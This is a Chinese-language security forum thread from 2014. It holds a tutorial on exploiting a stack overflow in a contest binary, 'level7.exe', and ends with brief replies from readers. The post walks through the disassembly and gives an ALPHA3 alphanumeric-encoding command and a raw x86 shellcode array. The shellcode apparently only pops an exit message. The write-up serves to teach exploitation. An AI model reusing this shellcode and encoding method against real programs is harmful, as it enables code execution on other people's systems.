首页
社区
课程
招聘
[原创]栈溢出攻击原理实例详解
发表于: 2014-2-25 20:37 10645

[原创]栈溢出攻击原理实例详解

2014-2-25 20:37
10645

文章来自:Tracy'Blog——【栈溢出攻击原理实例详解

去年,师弟给了个他比赛的题目给我,说要我试试,一直没去弄。这不又开学了,正愁着连ESP定律都快忘干净了,又把它拿出来了,就当练练手,就当加深一下印象吧~做完之后,发现,这是一个典型的栈溢出利用。那就当教程来写了~

直接双击,程序一闪而过,什么都没看到。于是,命令行下运行,看到了返回结果Illegal Arguments(非法参数)。习惯性的peid查壳,发现没加壳。拖到C32Asm看看有哪些字符串,同时OD加载,IDA分析。
直接单步到程序处:

CPU Disasm
Address   Hex dump       Command                                         Comments
004010B0  /$  837C24 04  CMP     DWORD PTR SS:[Arg1],2                   ; level7.004010B0(guessed Arg1,Arg2,Arg3)
004010B5  |.  7D 13      JGE     SHORT level7.004010CA
004010B7  |.  68 B480400 PUSH    OFFSET level7.004080B4                  ; ASCII "Illegal Arguments",LF
004010BC  |.  E8 D001000 CALL    level7.00401291
004010C1  |.  83C4 04    ADD     ESP,4
004010C4  |.  B8 0100000 MOV     EAX,1
004010C9  |.  C3         RETN
004010CA  |>  56         PUSH    ESI
004010CB  |.  57         PUSH    EDI
004010CC  |.  68 B080400 PUSH    OFFSET level7.004080B0                  ; ASCII "wb+"
004010D1  |.  68 4080400 PUSH    OFFSET level7.00408040                  ; ASCII "level7"
004010D6  |.  E8 A301000 CALL    level7.0040127E                         ; 打开文件
004010DB  |.  8BF0       MOV     ESI,EAX
004010DD  |.  8B4424 18  MOV     EAX,DWORD PTR SS:[Arg2]
004010E1  |.  56         PUSH    ESI
004010E2  |.  8B48 04    MOV     ECX,DWORD PTR DS:[EAX+4]
004010E5  |.  51         PUSH    ECX
004010E6  |.  E8 3C04000 CALL    level7.00401527                         ; fputs
004010EB  |.  56         PUSH    ESI                                     ; /Arg1
004010EC  |.  E8 2903000 CALL    level7.0040141A                         ; \level7.0040141A, fflush
004010F1  |.  56         PUSH    ESI
004010F2  |.  E8 CB01000 CALL    level7.004012C2                         ; ftell  返回文件长度
004010F7  |.  56         PUSH    ESI                                     ; /Arg1
004010F8  |.  8BF8       MOV     EDI,EAX                                 ; |
004010FA  |.  E8 2100000 CALL    level7.00401120                         ; \level7.00401120, fclose
004010FF  |.  68 8480400 PUSH    OFFSET level7.00408084                  ; ASCII "Write argv[1] to level7, level7 is a file!",LF
00401104  |.  E8 8801000 CALL    level7.00401291
00401109  |.  57         PUSH    EDI
0040110A  |.  E8 F1FEFFF CALL    level7.00401000                         ; 读文件
0040110F  |.  83C4 24    ADD     ESP,24
00401112  |.  33C0       XOR     EAX,EAX
00401114  |.  5F         POP     EDI
00401115  |.  5E         POP     ESI
00401116  \.  C3         RETN
level7.exe 123456798
CPU Disasm
Address   Hex dump       Command                                         Comments
00401021  |.  E8 6B02000 CALL    level7.00401291
00401026  |.  8BBC24 0C0 MOV     EDI,DWORD PTR SS:[ARG.1]
0040102D  |.  83C4 04    ADD     ESP,4
00401030  |.  83FF FF    CMP     EDI,-1
00401033  |.  75 17      JNE     SHORT level7.0040104C
00401035  |.  68 4C80400 PUSH    OFFSET level7.0040804C                  ; ASCII "File's size too small, not read",LF
0040103A  |.  E8 5202000 CALL    level7.00401291
0040103F  |.  83C4 04    ADD     ESP,4
00401042  |.  33C0       XOR     EAX,EAX
00401044  |.  5F         POP     EDI
00401045  |.  81C4 00010 ADD     ESP,100
0040104B  |.  C3         RETN
0040104C  |>  81FF C8000 CMP     EDI,0C8
00401052  |.  7F 17      JG      SHORT level7.0040106B
00401054  |.  68 4C80400 PUSH    OFFSET level7.0040804C                  ; ASCII "File's size too small, not read",LF
00401059  |.  E8 3302000 CALL    level7.00401291
0040105E  |.  83C4 04    ADD     ESP,4
00401061  |.  33C0       XOR     EAX,EAX
00401063  |.  5F         POP     EDI
00401064  |.  81C4 00010 ADD     ESP,100
0040106A  |.  C3         RETN
0040106B  |>  56         PUSH    ESI
0040106C  |.  68 4880400 PUSH    OFFSET level7.00408048                  ; ASCII "rb"
00401071  |.  68 4080400 PUSH    OFFSET level7.00408040                  ; ASCII "level7"
00401076  |.  E8 0302000 CALL    level7.0040127E                         ; fopen
0040107B  |.  8BF0       MOV     ESI,EAX
0040107D  |.  8D4424 10  LEA     EAX,[LOCAL.63]
00401081  |.  56         PUSH    ESI
00401082  |.  57         PUSH    EDI
00401083  |.  6A 01      PUSH    1
00401085  |.  50         PUSH    EAX
00401086  |.  E8 EB00000 CALL    level7.00401176                         ; fread  此处异常
0040108B  |.  56         PUSH    ESI                                     ; /Arg1
0040108C  |.  E8 8F00000 CALL    level7.00401120                         ; \level7.00401120
00401091  |.  68 3080400 PUSH    OFFSET level7.00408030                  ; ASCII "Read level7 ok",LF
00401096  |.  E8 F601000 CALL    level7.00401291
0040109B  |.  83C4 20    ADD     ESP,20
0040109E  |.  8D4424 08  LEA     EAX,[LOCAL.63]
004010A2  |.  5E         POP     ESI
004010A3  |.  5F         POP     EDI
004010A4  |.  81C4 00010 ADD     ESP,100
004010AA  \.  C3         RETN
00401B40  |.  F3:A5      REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]  ; 异常
python ALPHA3.py x86 ascii mixedcase EAX --input=1.bin 
unsigned char shellcode[]=  
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42" 
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03" 
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b" 
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e" 
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c" 
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x61\x63" 
"\x6B\x01\x68\x63\x79\x43\x72\x68\x20\x54\x72\x61\x89\xe1\xfe" 
"\x49\x0b\x31\xc0\x51\x50\xff\xd7"; 

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 5
支持
分享
最新回复 (38)
雪    币: 496
活跃值: (286)
能力值: ( LV13,RANK:400 )
在线值:
发帖
回帖
粉丝
2
支持一个

最近搞Host漏洞的多起来了,搞的人越多知识的普及速度就越快,希望看到更多这种文章。

ALPHA3.py 这个还没用过,现在去学习学习。。
2014-2-25 20:51
0
雪    币: 2664
活跃值: (3401)
能力值: ( LV13,RANK:1760 )
在线值:
发帖
回帖
粉丝
3
贴图很辛苦啊,支持一个
2014-2-25 20:52
0
雪    币: 13246
活跃值: (4296)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
来前排支持、、
2014-2-25 21:25
0
雪    币: 204
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
支持楼主,学习了
2014-2-25 21:27
0
雪    币: 341
活跃值: (85)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
6
Mark
2014-2-25 22:05
0
雪    币: 101
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
哈哈。。居然不感谢我对alpha3编码选项的猜测。。
2014-2-25 22:09
0
雪    币: 185
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
是不是群里XX了很爽的那只?
2014-2-25 22:12
0
雪    币: 1491
活跃值: (985)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
9
是楼主的原创么?
2014-2-26 11:27
0
雪    币: 329
活跃值: (235)
能力值: ( LV13,RANK:320 )
在线值:
发帖
回帖
粉丝
10
必须原创。。还没转载过文章到看雪

博客是自己的,一般只在自己博客和看雪发文~52已经好久没去了~
2014-2-26 11:38
0
雪    币: 1491
活跃值: (985)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
11
收到,我给你加优秀
2014-2-26 14:02
0
雪    币: 329
活跃值: (235)
能力值: ( LV13,RANK:320 )
在线值:
发帖
回帖
粉丝
12
不能给个精么?
2014-2-26 14:20
0
雪    币: 1491
活跃值: (985)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
13
精华是一定要给的
2014-2-26 17:57
0
雪    币: 329
活跃值: (235)
能力值: ( LV13,RANK:320 )
在线值:
发帖
回帖
粉丝
14


我那会儿是在琢磨直接用地址还是用寄存器~
2014-2-26 21:33
0
雪    币: 1839
活跃值: (295)
能力值: ( LV9,RANK:370 )
在线值:
发帖
回帖
粉丝
15
markmarkmark
2014-2-27 09:24
0
雪    币: 239
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
Tag 栈溢出 原理 实例详解
2014-2-27 09:29
0
雪    币: 329
活跃值: (235)
能力值: ( LV13,RANK:320 )
在线值:
发帖
回帖
粉丝
17
纯粹来回帖的?
2014-2-27 14:21
0
雪    币: 1
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
分析的不错,先学习学习
2014-2-27 21:09
0
雪    币: 59
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
mark以下走人
2014-2-27 21:43
0
雪    币: 5
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
好,MARK
2014-2-28 13:42
0
雪    币: 239
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
功力还不太够,贴个标签,怕以后看时找不到
2014-2-28 14:22
0
雪    币: 3366
活跃值: (1353)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
22
最近处于闭关状态-- 好久没出现了--来报名顺便来看看。。竟然看到楼主的新精华了~~学习~~Mark。
2014-3-1 12:50
0
雪    币: 19
活跃值: (74)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
擦,楼主竟然91年的,厉害。
2014-3-5 10:22
0
雪    币: 329
活跃值: (235)
能力值: ( LV13,RANK:320 )
在线值:
发帖
回帖
粉丝
24
....

  感情我这是又被社工了~~~???
2014-3-5 19:22
0
雪    币: 88
活跃值: (26)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
25
多谢楼主分享
2014-3-12 14:49
0
游客
登录 | 注册 方可回帖
返回
//